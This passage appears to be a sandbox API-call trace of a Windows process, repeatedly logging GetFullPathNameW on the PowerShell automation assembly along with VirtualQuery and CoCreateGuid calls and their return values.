[0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.654] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.654] GetLastError () returned 0x0 [0062.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.655] GetLastError () returned 0x0 [0062.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.655] GetLastError () returned 0x0 [0062.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.655] GetLastError () returned 0x0 [0062.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.655] GetLastError () returned 0x0 [0062.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.655] GetLastError () returned 0x0 [0062.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.655] GetLastError () returned 0x0 [0062.656] VirtualQuery (in: lpAddress=0x14d014, lpBuffer=0x14e014, dwLength=0x1c | out: lpBuffer=0x14e014*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.657] VirtualQuery (in: lpAddress=0x14d050, lpBuffer=0x14e050, dwLength=0x1c | out: lpBuffer=0x14e050*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.657] GetLastError () returned 0x0 [0062.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.657] GetLastError () returned 0x0 [0062.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.657] GetLastError () returned 0x0 [0062.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.657] GetLastError () returned 0x0 [0062.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.658] GetLastError () returned 0x0 [0062.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.658] GetLastError () returned 0x0 [0062.658] VirtualQuery (in: lpAddress=0x14d380, lpBuffer=0x14e380, dwLength=0x1c | out: lpBuffer=0x14e380*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.658] GetLastError () returned 0x0 [0062.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.658] GetLastError () returned 0x0 [0062.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.658] GetLastError () returned 0x0 [0062.658] VirtualQuery (in: lpAddress=0x14d380, lpBuffer=0x14e380, dwLength=0x1c | out: lpBuffer=0x14e380*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.658] GetLastError () returned 0x0 [0062.659] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.659] GetLastError () returned 0x0 [0062.659] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.659] GetLastError () returned 0x0 [0062.659] VirtualQuery (in: lpAddress=0x14d380, lpBuffer=0x14e380, dwLength=0x1c | out: lpBuffer=0x14e380*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.659] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.660] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.661] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.661] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.661] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.661] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.662] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.662] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.662] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.662] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.663] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.664] VirtualQuery (in: lpAddress=0x14d1bc, lpBuffer=0x14e1bc, dwLength=0x1c | out: lpBuffer=0x14e1bc*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.664] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.664] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.665] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.665] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.665] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x2df9b94a, Data2=0x8eff, Data3=0x497c, Data4=([0]=0x96, [1]=0x60, [2]=0xa4, [3]=0x98, [4]=0x43, [5]=0x3a, [6]=0x35, [7]=0x50))) returned 0x0 [0062.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.665] GetLastError () returned 0x0 [0062.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.665] GetLastError () returned 0x0 [0062.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.665] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.666] GetLastError () returned 0x0 [0062.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.667] GetLastError () returned 0x0 [0062.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 